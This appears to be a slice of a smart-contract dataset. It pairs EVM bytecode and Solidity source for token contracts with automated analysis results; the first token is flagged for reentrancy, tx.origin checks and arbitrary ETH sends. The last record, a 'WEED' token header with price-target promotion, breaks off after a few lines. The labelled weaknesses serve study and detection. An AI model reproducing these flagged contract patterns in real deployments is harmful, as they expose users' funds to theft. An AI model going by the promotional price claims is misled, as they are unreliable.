0x6080604052600436106101e75760003560e01c80635090161711610102578063a9059cbb11610095578063db92dbb611610064578063db92dbb61461056f578063dcb0e0ad14610584578063dd62ed3e146105a4578063e8078d94146105ea57600080fd5b8063a9059cbb1461050f578063b2131f7d1461052f578063c3c8cd8014610545578063c9567bf91461055a57600080fd5b8063715018a6116100d1578063715018a61461048c5780638da5cb5b146104a157806394b8d8f2146104bf57806395d89b41146104df57600080fd5b80635090161714610421578063590f897e146104415780636fc3eaec1461045757806370a082311461046c57600080fd5b806327f3a72a1161017a5780633bed4355116101495780633bed4355146103ab57806340b9a54b146103cb57806345596e2e146103e157806349bd5a5e1461040157600080fd5b806327f3a72a14610321578063313ce5671461033657806332d873d81461035d578063367c55441461037357600080fd5b80630b78f9c0116101b65780630b78f9c0146102af57806318160ddd146102cf5780631940d020146102eb57806323b872dd1461030157600080fd5b80630492f055146101f357806306fdde031461021c5780630802d2f61461025d578063095ea7b31461027f57600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b50610209600d5481565b6040519081526020015b60405180910390f35b34801561022857600080fd5b506102506040518060400160405280600881526020016748616e6162696b6f60c01b81525081565b6040516102139190611928565b34801561026957600080fd5b5061027d610278366004611992565b6105ff565b005b34801561028b57600080fd5b5061029f61029a3660046119af565b610674565b6040519015158152602001610213565b3480156102bb57600080fd5b5061027d6102ca3660046119db565b61068a565b3480156102db57600080fd5b50683635c9adc5dea00000610209565b3480156102f757600080fd5b50610209600e5481565b34801561030d57600080fd5b5061029f61031c3660046119fd565b6106f1565b34801561032d57600080fd5b506102096107d9565b34801561034257600080fd5b5061034b600981565b60405160ff9091168152602001610213565b34801561036957600080fd5b50610209600f5481565b34801561037f57600080fd5b50600854610393906001600160a01b031681565b6040516001600160a01b039091168152602001610213565b3480156103b757600080fd5b50600754610393906001600160a01b031681565b3480156103d757600080fd5b50610209600a5481565b3480156103ed57600080fd5b5061027d6103fc366004611a3e565b6107e9565b34801561040d57600080fd5b50600954610393906001600160a01b031681565b34801561042d57600080fd5b5061027d61043c366004611992565b610883565b34801561044d57600080fd5b50610209600b5481565b34801561046357600080fd5b5061027d6108f1565b34801561047857600080fd5b50610209610487366004611992565b61091e565b34801561049857600080fd5b5061027d610939565b3480156104ad57600080fd5b506000546001600160a01b0316610393565b3480156104cb57600080fd5b5060105461029f9062010000900460ff1681565b3480156104eb57600080fd5b50610250604051806040016040528060048152602001634b4f4b4f60e01b81525081565b34801561051b57600080fd5b5061029f61052a3660046119af565b6109ad565b34801561053b57600080fd5b50610209600c5481565b34801561055157600080fd5b5061027d6109ba565b34801561056657600080fd5b5061027d6109f0565b34801561057b57600080fd5b50610209610a93565b34801561059057600080fd5b5061027d61059f366004611a65565b610aab565b3480156105b057600080fd5b506102096105bf366004611a82565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156105f657600080fd5b5061027d610b1e565b6007546001600160a01b0316336001600160a01b03161461061f57600080fd5b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b6000610681338484610e69565b50600192915050565b6007546001600160a01b0316336001600160a01b0316146106aa57600080fd5b600a829055600b81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60105460009060ff16801561071f57506001600160a01b03831660009081526004602052604090205460ff16155b801561073857506009546001600160a01b038581169116145b15610787576001600160a01b03831632146107875760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b610792848484610f8d565b6001600160a01b03841660009081526003602090815260408083203384529091528120546107c1908490611ad1565b90506107ce853383610e69565b506001949350505050565b60006107e43061091e565b905090565b6007546001600160a01b0316336001600160a01b03161461080957600080fd5b6000811161084e5760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b604482015260640161077e565b600c8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd890602001610669565b6008546001600160a01b0316336001600160a01b0316146108a357600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a5301490602001610669565b6007546001600160a01b0316336001600160a01b03161461091157600080fd5b4761091b81611587565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146109635760405162461bcd60e51b815260040161077e90611ae8565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610681338484610f8d565b6007546001600160a01b0316336001600160a01b0316146109da57600080fd5b60006109e53061091e565b905061091b8161160c565b6000546001600160a01b03163314610a1a5760405162461bcd60e51b815260040161077e90611ae8565b60105460ff1615610a675760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161077e565b6010805460ff1916600117905542600f556745639182808eca00600d556801a055690d9db80000600e55565b6009546000906107e4906001600160a01b031661091e565b6007546001600160a01b0316336001600160a01b031614610acb57600080fd5b6010805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610669565b6000546001600160a01b03163314610b485760405162461bcd60e51b815260040161077e90611ae8565b60105460ff1615610b955760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161077e565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610bd23082683635c9adc5dea00000610e69565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c10573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c349190611b1d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c81573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ca59190611b1d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610cf2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d169190611b1d565b600980546001600160a01b0319166001600160a01b039283161790556006541663f305d7194730610d468161091e565b600080610d5b6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610dc3573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610de89190611b3a565b505060095460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610e41573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e659190611b68565b5050565b6001600160a01b038316610ecb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161077e565b6001600160a01b038216610f2c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161077e565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ff15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161077e565b6001600160a01b0382166110535760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161077e565b600081116110b55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161077e565b600080546001600160a01b038581169116148015906110e257506000546001600160a01b03848116911614155b15611528576009546001600160a01b03858116911614801561111257506006546001600160a01b03848116911614155b801561113757506001600160a01b03831660009081526004602052604090205460ff16155b156113c45760105460ff1661118e5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e0000000000000000604482015260640161077e565b600f544214156111ce5760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b604482015260640161077e565b42600f54610e106111df9190611b85565b111561125957600e546111f18461091e565b6111fb9084611b85565b11156112595760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b606482015260840161077e565b6001600160a01b03831660009081526005602052604090206001015460ff166112c1576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b42600f5460786112d19190611b85565b11156113a557600d548211156113295760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e0000000000604482015260640161077e565b61133442601e611b85565b6001600160a01b038416600090815260056020526040902054106113a55760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b606482015260840161077e565b506001600160a01b038216600090815260056020526040902042905560015b601054610100900460ff161580156113de575060105460ff165b80156113f857506009546001600160a01b03858116911614155b156115285761140842600f611b85565b6001600160a01b0385166000908152600560205260409020541061147a5760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b606482015260840161077e565b60006114853061091e565b905080156115115760105462010000900460ff161561150857600c54600954606491906114ba906001600160a01b031661091e565b6114c49190611b9d565b6114ce9190611bbc565b81111561150857600c54600954606491906114f1906001600160a01b031661091e565b6114fb9190611b9d565b6115059190611bbc565b90505b6115118161160c565b4780156115215761152147611587565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061156a57506001600160a01b03841660009081526004602052604090205460ff165b15611573575060005b6115808585858486611780565b5050505050565b6007546001600160a01b03166108fc6115a1600284611bbc565b6040518115909202916000818181858888f193505050501580156115c9573d6000803e3d6000fd5b506008546001600160a01b03166108fc6115e4600284611bbc565b6040518115909202916000818181858888f19350505050158015610e65573d6000803e3d6000fd5b6010805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061165057611650611bde565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156116a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116cd9190611b1d565b816001815181106116e0576116e0611bde565b6001600160a01b0392831660209182029290920101526006546117069130911684610e69565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac9479061173f908590600090869030904290600401611bf4565b600060405180830381600087803b15801561175957600080fd5b505af115801561176d573d6000803e3d6000fd5b50506010805461ff001916905550505050565b600061178c83836117a2565b905061179a868686846117e9565b505050505050565b60008083156117e25782156117ba5750600a546117e2565b50600b54600f546117cd90610708611b85565b4210156117e2576117df600d82611b85565b90505b9392505050565b6000806117f684846118c6565b6001600160a01b038816600090815260026020526040902054919350915061181f908590611ad1565b6001600160a01b03808816600090815260026020526040808220939093559087168152205461184f908390611b85565b6001600160a01b038616600090815260026020526040902055611871816118fa565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118b691815260200190565b60405180910390a3505050505050565b6000808060646118d68587611b9d565b6118e09190611bbc565b905060006118ee8287611ad1565b96919550909350505050565b30600090815260026020526040902054611915908290611b85565b3060009081526002602052604090205550565b600060208083528351808285015260005b8181101561195557858101830151858201604001528201611939565b81811115611967576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461091b57600080fd5b6000602082840312156119a457600080fd5b81356117e28161197d565b600080604083850312156119c257600080fd5b82356119cd8161197d565b946020939093013593505050565b600080604083850312156119ee57600080fd5b50508035926020909101359150565b600080600060608486031215611a1257600080fd5b8335611a1d8161197d565b92506020840135611a2d8161197d565b929592945050506040919091013590565b600060208284031215611a5057600080fd5b5035919050565b801515811461091b57600080fd5b600060208284031215611a7757600080fd5b81356117e281611a57565b60008060408385031215611a9557600080fd5b8235611aa08161197d565b91506020830135611ab08161197d565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611ae357611ae3611abb565b500390565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611b2f57600080fd5b81516117e28161197d565b600080600060608486031215611b4f57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611b7a57600080fd5b81516117e281611a57565b60008219821115611b9857611b98611abb565b500190565b6000816000190483118215151615611bb757611bb7611abb565b500290565b600082611bd957634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c445784516001600160a01b031683529383019391830191600101611c1f565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122033b8fccad0bcd6289a445ce923edff4be2704c27c87f7d39b433f80906e341e164736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 1,697 |
0x097dc2c38efed283f0344c840cb1f531a778e019
|
/**
*Submitted for verification at Etherscan.io on 2021-05-17
*/
// SPDX-License-Identifier: No License
pragma solidity 0.6.12;
// ----------------------------------------------------------------------------
// 'HBCU Coin' token contract
//
// Symbol : HBCUC
// Name : HBCU Coin
// Total supply: 10 000 000 000
// Decimals : 18
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0) {
return 0;}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
interface ERC20Basic {
function balanceOf(address who) external view returns (uint256 balance);
function transfer(address to, uint256 value) external returns (bool trans1);
function allowance(address owner, address spender) external view returns (uint256 remaining);
function transferFrom(address from, address to, uint256 value) external returns (bool trans);
function approve(address spender, uint256 value) external returns (bool hello);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20Basic, Ownable {
uint256 public totalSupply;
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public override returns (bool trans1) {
require(_to != address(0));
//require(canTransfer(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
*/
function balanceOf(address _owner) public view override returns (uint256 balance) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) {
require(_to != address(0));
// require(canTransfer(msg.sender));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public override returns (bool hello) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
*/
function allowance(address _owner, address _spender) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract HBCUC is BurnableToken {
string public constant name = "HBCU Coin";
string public constant symbol = "HBCUC";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 10000000000 * (10 ** uint256(decimals));
// Constructors
constructor () public{
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
//allowedAddresses[owner] = true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a13565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd9565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e6a565b6040518082815260200191505060405180910390f35b6103b1610eb3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f10565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e4565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112e0565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611367565b005b6040518060400160405280600981526020017f4842435520436f696e000000000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b690919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a6402540be4000281565b60008111610a2057600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6c57600080fd5b6000339050610ac382600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1b826001546114b690919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610cea576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7e565b610cfd83826114b690919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600581526020017f484243554300000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4b57600080fd5b610f9d82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103282600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117582600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113bf57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c257fe5b818303905092915050565b6000808284019050838110156114df57fe5b809150509291505056fea2646970667358221220165fdc149230991240872c8e5ac4e5338be2d09267f5447aa5ba76285a24700764736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 1,698 |
0x31759c4e7bafe50ac608c9760224c21a33674664
|
/**
*Submitted for verification at Etherscan.io on 2022-04-20
*/
/**
Total Supply = 420 WEED
Max wallet = 8.40 WEED (2%)
7% Buy/Sell Tax
Token price will start at $14.2.
Our goal is to get to $420 per token which is approximately 300x.
LETS DO IT FOR THE CULTURE
Telegram: https://t.me/Weedonomics
*/
